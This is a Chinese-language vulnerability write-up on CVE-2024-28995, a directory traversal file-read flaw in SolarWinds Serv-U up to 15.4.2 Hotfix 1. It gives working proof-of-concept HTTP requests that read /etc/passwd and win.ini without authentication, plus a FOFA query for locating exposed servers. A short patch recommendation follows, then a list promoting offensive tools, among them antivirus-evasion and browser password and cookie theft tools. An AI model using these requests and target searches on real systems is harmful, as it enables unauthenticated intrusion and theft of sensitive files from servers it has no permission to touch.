影响范围
SolarWinds Serv-U FTP Server <= 15.4.2 Hotfix 1
SolarWinds Serv-U Gateway <= 15.4.2 Hotfix 1
SolarWinds Serv-U MFT Server <= 15.4.2 Hotfix 1
漏洞概述
SolarWinds是一家提供广泛的IT管理和网络管理软件解决方案的公司，SolarWinds的产品被设计用于监控和管理网络设备、服务器、应用程序和网络流量等。Serv-U是SolarWinds提供的一款FTP(文件传输协议)服务器软件，2024年6月官方发布安全更新修复了CVE-2024-28995 SolarWinds Serv-U FTP目录遍历文件读取漏洞，攻击者无需登陆即可构造恶意请求读取系统上文件，从而造成敏感信息泄漏
漏洞复现
应用主界面如下所示：
Linux平台利用POC：
GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.1Host: xxx.xxx.xxx.xxxUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept-Encoding: gzip, deflateAccept: */*Connection: keep-alive
Windows平台：
GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1Host: xx.xxx.xxx.xxxUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept: */*Connection: Keep-Alive
目标检索
FOFA：
server="Serv-U"安全建议
目前官方已有可更新版本(https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-15-4-2-Hotfix-2-Releas e-Notes)，建议Serv-U用户尽快应用此修补程序
SolarWinds Serv-U FTP Server >= 15.4.2 Hotfix 2
SolarWinds Serv-U Gateway >= 15.4.2 Hotfix 2
SolarWinds Serv-U MFT Server >= 15.4.2 Hotfix 2
·推 荐 阅 读·
最新后渗透免杀工具
【护网必备】高危漏洞综合利用工具
【护网必备】Shiro反序列化漏洞综合利用工具增强版
【护网必备】外网打点必备-WeblogicTool
【护网必备】最新Struts2全版本漏洞检测工具
Nacos漏洞综合利用工具
重点OA系统漏洞利用综合工具箱
【护网必备】海康威视RCE批量检测利用工具
【护网必备】浏览器用户密码|Cookie|书签|下载记录导出工具
横向移动之RDP&Desktop Session Hija
